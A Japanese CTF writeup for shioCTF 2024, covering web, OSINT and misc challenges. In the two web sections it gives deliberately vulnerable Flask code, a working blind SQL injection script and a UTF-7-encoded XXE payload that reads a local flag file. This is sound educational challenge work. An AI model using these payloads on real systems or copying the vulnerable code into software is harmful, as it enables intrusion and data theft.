st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏

shioCTF 2024 writeup

2/12 - 2/14という日程で開催された。ひとりチームの猿沢池の鹿🦌で参加し、全完して1位🙌


[Web 172] SimpleDB (xxx solves)

adminのパスワードを特定してください!

(問題サーバのURL)

添付ファイル: SimpleDB.zip

ログインできるだけのWebアプリだ。以下のようなソースコードが与えられている。

from flask import Flask, request, jsonify, render_template
import sqlite3

app = Flask(__name__)

def init_db():
    conn = sqlite3.connect('database.db')
    c = conn.cursor()
    c.execute('CREATE TABLE IF NOT EXISTS users(id INTEGER PRIMARY KEY, username TEXT, password TEXT)')
    c.execute("INSERT INTO users (username, password) VALUES ('admin', 'shioCTF{**SECRET**}')")
    conn.commit()
    conn.close()

init_db()

@app.route('/', methods=['GET', 'POST'])
def login():
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']
        conn = sqlite3.connect('database.db')
        c = conn.cursor()
        query = f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"
        c.execute(query)
        result = c.fetchone()
        conn.close()
        if result:
            return jsonify({'message': 'Login successful!'}), 200
        else:
            return jsonify({'message': 'Login failed!'}), 401
    else:
        return render_template('index.html')

if __name__ == '__main__':
    app.run(debug=True, host='0.0.0.0', port=49999)

明らかにSQLiがある。ただし、ログインに成功したか失敗したかの1ビットの情報しか得られないので、Boolean-based SQLiでやっていく。早速以下のようなスクリプトを用意するが、shioCTF{****} しか返ってこない。

import httpx

flag = ''
with httpx.Client(base_url='http://(省略)/') as client:
    i = 8
    while True:
        c = 0
        for j in range(7):
            r = client.post('/', data={
                'username': f"' union select 1, 2, 3 from users where username = 'admin' and unicode(substr(password, {i}, 1)) & {1 << j}; -- ",
                'password': 'a'
            })
            if 'successful' in r.text:
                c |= 1 << j
        flag += chr(c)
        print(flag)
        i += 1

困ってshioさんに報告したところ、(おそらく)修正が入る。が、やはり shioCTF{****} しか返ってこない。もしかしてパスワードが shioCTF{****} である admin とそうでない admin がいる*1のではないか。以下のように修正する。

import httpx

flag = ''
with httpx.Client(base_url='http://20.205.137.99:49999/') as client:
    i = 8
    while True:
        c = 0
        for j in range(7):
            r = client.post('/', data={
                'username': f"' union select 1, 2, 3 from users where unicode(substr((select password from users where password != 'shioCTF{{****}}' limit 1 offset 1), {i}, 1)) & {1 << j}; -- ",
                'password': 'a'
            })
            if 'successful' in r.text:
                c |= 1 << j
        flag += chr(c)
        print(flag)
        i += 1

実行するとフラグが得られた。

shioCTF{b1ind_sqli_i5_d4nger0u5!}

[Web 258] card (xxx solves)

誕生日カードを送り合えるWebアプリができました!

(問題サーバのURL)

添付ファイル: card.zip

以下のようなソースコードが与えられている。ユーザ同士でメッセージを送りあえるアプリらしい。添付ファイルや Dockerfile から、flag.txt というフラグの含まれるファイルが、このPythonのコード等と同じ /app に配置されているとわかる。

メッセージはなぜかXMLとして保存・参照されるほか、そもそもユーザからXMLを受け取ってそのまま保存する形になっている。保存先のファイル名はユーザIDから生成しており、かつそのユーザIDはユーザが操作できるようになっているが、書き込み時も読み込み時も後ろに .xml が付加されるので不便だ。

from flask import Flask, request, make_response, render_template, redirect, url_for
from lxml import etree
import os
import secrets
import uuid

app = Flask(__name__)

cards_directory = "cards"
os.makedirs(cards_directory, exist_ok=True)

@app.route('/')
def index():
    user_id = request.cookies.get('user_id')
    if not user_id:
        response = make_response(render_template('home.html'))
        user_id = secrets.token_hex(16)
        response.set_cookie('user_id', user_id)
        return response
    else:
        return render_template('home.html')

@app.route('/send', methods=['GET', 'POST'])
def send():
    if request.method == 'POST':
        recipient_id = request.form['recipient_id']
        card_data = request.form['card_data']

        card_data = card_data.replace('&','')
        card_data = card_data.replace('%','')

        file_name = f"{recipient_id}_{uuid.uuid4()}.xml"
        file_path = os.path.join(cards_directory, file_name)

        with open(file_path, 'w') as file:
            file.write(card_data)
        
        return redirect(url_for('index'))
    else:
        return render_template('send.html')

@app.route('/view')
def view():
    user_id = request.cookies.get('user_id')
    card_files = [f for f in os.listdir(cards_directory) if f.startswith(user_id)]
    cards = []

    parser = etree.XMLParser(load_dtd=True, no_network=False, resolve_entities=True)

    for card_file in card_files:
        file_path = os.path.join(cards_directory, card_file)
        try:
            with open(file_path, 'rb') as file:
                xml_data = etree.parse(file, parser)
                message = xml_data.xpath('/card/message/text()')
                if message:
                    cards.append(message[0])
                else:
                    cards.append("Invalid card format.")
        except etree.XMLSyntaxError as e:
            cards.append(f"Error parsing XML: {e}")
    
    return render_template('view.html', cards=cards)

if __name__ == '__main__':
    app.run(debug=True, host='0.0.0.0', port=60001)

XMLといえばXML External Entity(XXE)だ。メッセージの閲覧時にXMLのパースが行われるが、etree.XMLParser(load_dtd=True, no_network=False, resolve_entities=True) とわざわざ危険になるよう引数が渡されている。ただし、XMLの保存時に以下のように %& が削除されてしまっている。

        card_data = card_data.replace('&','')
        card_data = card_data.replace('%','')

どうにかならんかとHackTricksのテクニック一覧を眺めていると、UTF-7を使うものが見つかった。これだ。

以下のようなスクリプトを用意する。

import httpx
with httpx.Client(base_url='http://(省略)/') as client:
    client.get('/')
    user_id = client.cookies['user_id']
    r = client.post('/send', data={
        'recipient_id': user_id,
        'card_data': '''
<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE card +AFsAPAAh-ENTITY h SYSTEM +ACI-file:///app/flag.txt+ACIAPgBdAD4APA-card+AD4APA-message+AD4AJg-h+ADsAPA-/message+AD4APA-/card+AD4-
'''.strip()
    })
    print(r.text)

    r = client.get('/view')
    print(r.text)

実行するとフラグが得られた。

$ python3 a.py | grep shioCTF
                        shioCTF{UTF7_1s_u5efu1_enc0d1ng}
shioCTF{UTF7_1s_u5efu1_enc0d1ng}

[OSINT 100] aburasoba (xxx solves)

ある大学生に人気の油そば。
このお店で流れているBGMはずっと変わっていない。
その音楽の楽曲名を答えよ。
例えば、葬送のフリーレンは shioCTF{勇者} 等となる。

油そばの写真が与えられる。これはshioさんが開催されているCTFだから、「ある大学生」というのはshioさんのことだろう。shioさんは早稲田大学の学生であることがXのbioからわかっている。雑に「早稲田 油そば」で検索すると、周辺の油そば店をリストアップしたWebページがヒットする。一番上の「武蔵野アブラ學会 早稲田本店」がそれっぽい。

「武蔵野アブラ學会 早稲田本店 BGM」で検索するとニコニコ大百科の記事がヒットするが、この中に

店内BGMにはいつもルパン三世のテーマが流れており

という記述がある。これが正解だった。

shioCTF{ルパン三世のテーマ}

[OSINT 100] club (xxx solves)

shioは大学のサークルでCTFdを使って、Webアプリをホストしたことがある。
そのサークル名を答えよ。
例えば、東京大学のTSGである場合は shioCTF{TSG} となる。

https://twitter.com/shiosa1t/status/1656154711505108992

前述のように、shioさんは早稲田大学の学生だ。早稲田でCTFといえばm1z0r3だけれどもこれは通らず。Googleで「早稲田大学 ctf サークル」を検索すると一番上にWINCが出てくる。雑にこれを提出すると正解だった。

shioCTF{WINC}

[Misc 100] fictional mountain (xxx solves)

彼女が立っている山の標高をメートルで答えてください。
例えば、富士山の場合は shioCTF{3776} になります。

原神のスクリーンショットが与えられる。左上にミニマップが表示されており、これをもとに撮影位置を特定できないかと考える。

「genshin map」で検索するとインタラクティブに世界地図を確認できるWebサイトが見つかる。まず、ミニマップに表示されている以下のアイコンはワープポイントだと分かる。

ミニマップで表示されていた辺りはやや緑っぽいこと、またワープポイント付近であることを考慮しつつ、先程の世界地図でそれっぽい場所がないか探す。すると、南東の島嶼群に見つかった。地名が分かると嬉しいものの、このWebサイトでは得られないのだろうか。

適当なwikiのマップ一覧から、このあたりは稲妻という地方らしいと分かる。ところで、この問題の目的は山の標高を特定することだった。「原神 山 標高」で検索すると標高ランキングが見つかる。稲妻の山々の標高ももちろんある。ミニマップで表示されていたのは八酝山であり、その高さは158mだ。

shioCTF{158}

[Welcome 100] to ShioCTF (xxx solves)

shioCTF{flag}

はい。

shioCTF{flag}

*1:たとえばDROP TABLEせずINSERT INTOのみが行われたというような理由で